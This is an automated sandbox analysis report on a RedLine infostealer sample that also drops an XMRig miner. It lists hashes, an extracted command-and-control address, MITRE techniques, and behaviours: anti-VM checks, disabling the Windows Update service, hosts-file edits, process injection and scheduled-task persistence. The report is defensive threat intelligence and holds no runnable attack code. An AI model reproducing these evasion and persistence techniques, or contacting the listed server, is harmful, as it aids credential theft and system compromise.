redline | 303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94

Analysis

max time kernel
300s
max time network
290s
platform
windows10-1703_x64
resource
win10-20220901-en
resource tags

arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
submitted
22-10-2022 04:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe
Size

344KB
MD5

8355f4fcb65efd4b4beed19a8282ce80
SHA1

a100aee7b677a151302b13a449524f65a19156b2
SHA256

303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94
SHA512

c5792f4aa7349467191bb37053b9eea3ab047432d6aeba3fb6970f46fede8db7fcffd130bc67f5e9c50d8dfd948df2a7a950f2d56296ac277c33de430633f5ad
SSDEEP

6144:gq6LFGh9VpSaYmn9EqgJ/ky4yuooh1S6E2B11vkbtIlzaa8+dpf3:gnwnu4EqPyuooz14WlzaaD

Score

10^/10

redline xmrig 875784825 evasion infostealer miner spyware themida trojan upx

Malware Config

Extracted

Family

redline

Botnet

875784825

79.137.192.6:8362

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/101092-450-0x00000000003F972E-mapping.dmp	family_redline
behavioral2/memory/101092-486-0x00000000003E0000-0x00000000003FE000-memory.dmp	family_redline

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

updater.exeMoUSO.exesetup.exesetup12.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	MoUSO.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup12.exe

XMRig Miner payload 1 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/7044-1266-0x00007FF6524D0000-0x00007FF652CC4000-memory.dmp	xmrig

Downloads MZ/PE file
Drops file in Drivers directory 2 IoCs

Processes:

setup.exeupdater.exe

description ioc process

File created C:\Windows\system32\drivers\etc\hosts setup.exe
File created C:\Windows\system32\drivers\etc\hosts updater.exe
Executes dropped EXE 8 IoCs

Processes:

setup.exesetup12.exesetup1232.exeupdater.exewatchdog.exeChomiumPath.exesvcupdater.exeMoUSO.exe

pid process

5064 setup.exe
2768 setup12.exe
4180 setup1232.exe
4272 updater.exe
4080 watchdog.exe
7164 ChomiumPath.exe
7336 svcupdater.exe
7412 MoUSO.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	setup.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

pid	process
5064	setup.exe
2768	setup12.exe
4180	setup1232.exe
4272	updater.exe
4080	watchdog.exe
7164	ChomiumPath.exe
7336	svcupdater.exe
7412	MoUSO.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/7044-1241-0x00007FF6524D0000-0x00007FF652CC4000-memory.dmp	upx
behavioral2/memory/7044-1266-0x00007FF6524D0000-0x00007FF652CC4000-memory.dmp	upx

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

setup.exesetup12.exeupdater.exeMoUSO.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup12.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup12.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MoUSO.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

setup12.exeMoUSO.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Software\Wine	setup12.exe
Key opened	\REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Software\Wine	MoUSO.exe

Loads dropped DLL 3 IoCs

Processes:

MSBuild.exe

pid process

3688 MSBuild.exe
3688 MSBuild.exe
3688 MSBuild.exe

pid	process
3688	MSBuild.exe
3688	MSBuild.exe
3688	MSBuild.exe

Themida packer 16 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\setup.exe	themida
behavioral2/memory/5064-127-0x00007FF76AD50000-0x00007FF76BA4A000-memory.dmp	themida
behavioral2/memory/5064-129-0x00007FF76AD50000-0x00007FF76BA4A000-memory.dmp	themida
behavioral2/memory/5064-130-0x00007FF76AD50000-0x00007FF76BA4A000-memory.dmp	themida
behavioral2/memory/5064-132-0x00007FF76AD50000-0x00007FF76BA4A000-memory.dmp	themida
behavioral2/memory/5064-133-0x00007FF76AD50000-0x00007FF76BA4A000-memory.dmp	themida
behavioral2/memory/5064-134-0x00007FF76AD50000-0x00007FF76BA4A000-memory.dmp	themida
behavioral2/memory/5064-135-0x00007FF76AD50000-0x00007FF76BA4A000-memory.dmp	themida
behavioral2/memory/5064-165-0x00007FF76AD50000-0x00007FF76BA4A000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\setup.exe	themida
behavioral2/memory/5064-391-0x00007FF76AD50000-0x00007FF76BA4A000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/4272-410-0x00007FF62D430000-0x00007FF62E12A000-memory.dmp	themida
behavioral2/memory/4272-524-0x00007FF62D430000-0x00007FF62E12A000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/4272-1243-0x00007FF62D430000-0x00007FF62E12A000-memory.dmp	themida

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

setup.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

setup.exesetup12.exeupdater.exeMoUSO.exe

pid process

5064 setup.exe
2768 setup12.exe
4272 updater.exe
7412 MoUSO.exe

pid	process
5064	setup.exe
2768	setup12.exe
4272	updater.exe
7412	MoUSO.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exesetup1232.exewatchdog.exeupdater.exe

description	pid	process	target process
PID 2108 set thread context of 4740	2108	303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe	RegSvcs.exe
PID 4180 set thread context of 3688	4180	setup1232.exe	MSBuild.exe
PID 4080 set thread context of 101092	4080	watchdog.exe	vbc.exe
PID 4272 set thread context of 6896	4272	updater.exe	conhost.exe
PID 4272 set thread context of 7044	4272	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

setup.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	setup.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

3084 sc.exe
940 sc.exe
896 sc.exe
2724 sc.exe
2416 sc.exe
340 sc.exe
936 sc.exe
252 sc.exe
5104 sc.exe
352 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4808 schtasks.exe
7288 schtasks.exe

pid	process
3084	sc.exe
940	sc.exe
896	sc.exe
2724	sc.exe
2416	sc.exe
340	sc.exe
936	sc.exe
252	sc.exe
5104	sc.exe
352	sc.exe

pid	process
4808	schtasks.exe
7288	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

setup12.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exevbc.execonhost.exeMoUSO.exe

pid	process
2768	setup12.exe
2768	setup12.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
1112	powershell.exe
1112	powershell.exe
1112	powershell.exe
4512	powershell.exe
4512	powershell.exe
4512	powershell.exe
4780	powershell.exe
4780	powershell.exe
4780	powershell.exe
1504	powershell.exe
1504	powershell.exe
1504	powershell.exe
101092	vbc.exe
101092	vbc.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7044	conhost.exe
7412	MoUSO.exe
7412	MoUSO.exe
7412	MoUSO.exe
7412	MoUSO.exe
7412	MoUSO.exe
7412	MoUSO.exe
7412	MoUSO.exe
7412	MoUSO.exe
7412	MoUSO.exe
7412	MoUSO.exe
7412	MoUSO.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

656

pid	process
656

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	5060	powershell.exe
Token: SeIncreaseQuotaPrivilege	5060	powershell.exe
Token: SeSecurityPrivilege	5060	powershell.exe
Token: SeTakeOwnershipPrivilege	5060	powershell.exe
Token: SeLoadDriverPrivilege	5060	powershell.exe
Token: SeSystemProfilePrivilege	5060	powershell.exe
Token: SeSystemtimePrivilege	5060	powershell.exe
Token: SeProfSingleProcessPrivilege	5060	powershell.exe
Token: SeIncBasePriorityPrivilege	5060	powershell.exe
Token: SeCreatePagefilePrivilege	5060	powershell.exe
Token: SeBackupPrivilege	5060	powershell.exe
Token: SeRestorePrivilege	5060	powershell.exe
Token: SeShutdownPrivilege	5060	powershell.exe
Token: SeDebugPrivilege	5060	powershell.exe
Token: SeSystemEnvironmentPrivilege	5060	powershell.exe
Token: SeRemoteShutdownPrivilege	5060	powershell.exe
Token: SeUndockPrivilege	5060	powershell.exe
Token: SeManageVolumePrivilege	5060	powershell.exe
Token: 33	5060	powershell.exe
Token: 34	5060	powershell.exe
Token: 35	5060	powershell.exe
Token: 36	5060	powershell.exe
Token: SeShutdownPrivilege	220	powercfg.exe
Token: SeCreatePagefilePrivilege	220	powercfg.exe
Token: SeShutdownPrivilege	2324	powercfg.exe
Token: SeCreatePagefilePrivilege	2324	powercfg.exe
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeShutdownPrivilege	2800	powercfg.exe
Token: SeCreatePagefilePrivilege	2800	powercfg.exe
Token: SeShutdownPrivilege	388	powercfg.exe
Token: SeCreatePagefilePrivilege	388	powercfg.exe
Token: SeIncreaseQuotaPrivilege	1112	powershell.exe
Token: SeSecurityPrivilege	1112	powershell.exe
Token: SeTakeOwnershipPrivilege	1112	powershell.exe
Token: SeLoadDriverPrivilege	1112	powershell.exe
Token: SeSystemProfilePrivilege	1112	powershell.exe
Token: SeSystemtimePrivilege	1112	powershell.exe
Token: SeProfSingleProcessPrivilege	1112	powershell.exe
Token: SeIncBasePriorityPrivilege	1112	powershell.exe
Token: SeCreatePagefilePrivilege	1112	powershell.exe
Token: SeBackupPrivilege	1112	powershell.exe
Token: SeRestorePrivilege	1112	powershell.exe
Token: SeShutdownPrivilege	1112	powershell.exe
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeSystemEnvironmentPrivilege	1112	powershell.exe
Token: SeRemoteShutdownPrivilege	1112	powershell.exe
Token: SeUndockPrivilege	1112	powershell.exe
Token: SeManageVolumePrivilege	1112	powershell.exe
Token: 33	1112	powershell.exe
Token: 34	1112	powershell.exe
Token: 35	1112	powershell.exe
Token: 36	1112	powershell.exe
Token: SeIncreaseQuotaPrivilege	1112	powershell.exe
Token: SeSecurityPrivilege	1112	powershell.exe
Token: SeTakeOwnershipPrivilege	1112	powershell.exe
Token: SeLoadDriverPrivilege	1112	powershell.exe
Token: SeSystemProfilePrivilege	1112	powershell.exe
Token: SeSystemtimePrivilege	1112	powershell.exe
Token: SeProfSingleProcessPrivilege	1112	powershell.exe
Token: SeIncBasePriorityPrivilege	1112	powershell.exe
Token: SeCreatePagefilePrivilege	1112	powershell.exe
Token: SeBackupPrivilege	1112	powershell.exe
Token: SeRestorePrivilege	1112	powershell.exe
Token: SeShutdownPrivilege	1112	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exeRegSvcs.exesetup.exesetup1232.exesetup12.execmd.execmd.exe

description	pid	process	target process
PID 2108 wrote to memory of 4740	2108	303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe	RegSvcs.exe
PID 2108 wrote to memory of 4740	2108	303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe	RegSvcs.exe
PID 2108 wrote to memory of 4740	2108	303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe	RegSvcs.exe
PID 2108 wrote to memory of 4740	2108	303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe	RegSvcs.exe
PID 2108 wrote to memory of 4740	2108	303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe	RegSvcs.exe
PID 2108 wrote to memory of 4740	2108	303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe	RegSvcs.exe
PID 2108 wrote to memory of 4740	2108	303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe	RegSvcs.exe
PID 2108 wrote to memory of 4740	2108	303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe	RegSvcs.exe
PID 2108 wrote to memory of 4740	2108	303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe	RegSvcs.exe
PID 2108 wrote to memory of 4740	2108	303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe	RegSvcs.exe
PID 2108 wrote to memory of 4740	2108	303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe	RegSvcs.exe
PID 4740 wrote to memory of 5064	4740	RegSvcs.exe	setup.exe
PID 4740 wrote to memory of 5064	4740	RegSvcs.exe	setup.exe
PID 4740 wrote to memory of 2768	4740	RegSvcs.exe	setup12.exe
PID 4740 wrote to memory of 2768	4740	RegSvcs.exe	setup12.exe
PID 4740 wrote to memory of 2768	4740	RegSvcs.exe	setup12.exe
PID 5064 wrote to memory of 5060	5064	setup.exe	powershell.exe
PID 5064 wrote to memory of 5060	5064	setup.exe	powershell.exe
PID 4740 wrote to memory of 4180	4740	RegSvcs.exe	setup1232.exe
PID 4740 wrote to memory of 4180	4740	RegSvcs.exe	setup1232.exe
PID 4180 wrote to memory of 3688	4180	setup1232.exe	MSBuild.exe
PID 4180 wrote to memory of 3688	4180	setup1232.exe	MSBuild.exe
PID 4180 wrote to memory of 3688	4180	setup1232.exe	MSBuild.exe
PID 4180 wrote to memory of 3688	4180	setup1232.exe	MSBuild.exe
PID 4180 wrote to memory of 3688	4180	setup1232.exe	MSBuild.exe
PID 4180 wrote to memory of 3688	4180	setup1232.exe	MSBuild.exe
PID 4180 wrote to memory of 3688	4180	setup1232.exe	MSBuild.exe
PID 4180 wrote to memory of 3688	4180	setup1232.exe	MSBuild.exe
PID 2768 wrote to memory of 4808	2768	setup12.exe	schtasks.exe
PID 2768 wrote to memory of 4808	2768	setup12.exe	schtasks.exe
PID 2768 wrote to memory of 4808	2768	setup12.exe	schtasks.exe
PID 5064 wrote to memory of 1776	5064	setup.exe	cmd.exe
PID 5064 wrote to memory of 1776	5064	setup.exe	cmd.exe
PID 5064 wrote to memory of 1200	5064	setup.exe	cmd.exe
PID 5064 wrote to memory of 1200	5064	setup.exe	cmd.exe
PID 5064 wrote to memory of 1112	5064	setup.exe	powershell.exe
PID 5064 wrote to memory of 1112	5064	setup.exe	powershell.exe
PID 1776 wrote to memory of 252	1776	cmd.exe	sc.exe
PID 1776 wrote to memory of 252	1776	cmd.exe	sc.exe
PID 1200 wrote to memory of 220	1200	cmd.exe	powercfg.exe
PID 1200 wrote to memory of 220	1200	cmd.exe	powercfg.exe
PID 1200 wrote to memory of 2324	1200	cmd.exe	powercfg.exe
PID 1200 wrote to memory of 2324	1200	cmd.exe	powercfg.exe
PID 1776 wrote to memory of 3084	1776	cmd.exe	sc.exe
PID 1776 wrote to memory of 3084	1776	cmd.exe	sc.exe
PID 1200 wrote to memory of 2800	1200	cmd.exe	powercfg.exe
PID 1200 wrote to memory of 2800	1200	cmd.exe	powercfg.exe
PID 1776 wrote to memory of 940	1776	cmd.exe	sc.exe
PID 1776 wrote to memory of 940	1776	cmd.exe	sc.exe
PID 1200 wrote to memory of 388	1200	cmd.exe	powercfg.exe
PID 1200 wrote to memory of 388	1200	cmd.exe	powercfg.exe
PID 1776 wrote to memory of 896	1776	cmd.exe	sc.exe
PID 1776 wrote to memory of 896	1776	cmd.exe	sc.exe
PID 1776 wrote to memory of 2724	1776	cmd.exe	sc.exe
PID 1776 wrote to memory of 2724	1776	cmd.exe	sc.exe
PID 1776 wrote to memory of 2716	1776	cmd.exe	reg.exe
PID 1776 wrote to memory of 2716	1776	cmd.exe	reg.exe
PID 1776 wrote to memory of 2636	1776	cmd.exe	reg.exe
PID 1776 wrote to memory of 2636	1776	cmd.exe	reg.exe
PID 1776 wrote to memory of 1816	1776	cmd.exe	reg.exe
PID 1776 wrote to memory of 1816	1776	cmd.exe	reg.exe
PID 1776 wrote to memory of 3840	1776	cmd.exe	reg.exe
PID 1776 wrote to memory of 3840	1776	cmd.exe	reg.exe
PID 1776 wrote to memory of 352	1776	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe
"C:\Users\Admin\AppData\Local\Temp\303bcd9f1cb1c32438545312e1e204a453e2047fa4db1e13c90da39d86fe7a94.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2108

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:4740

C:\Users\Admin\AppData\Local\Temp\setup.exe
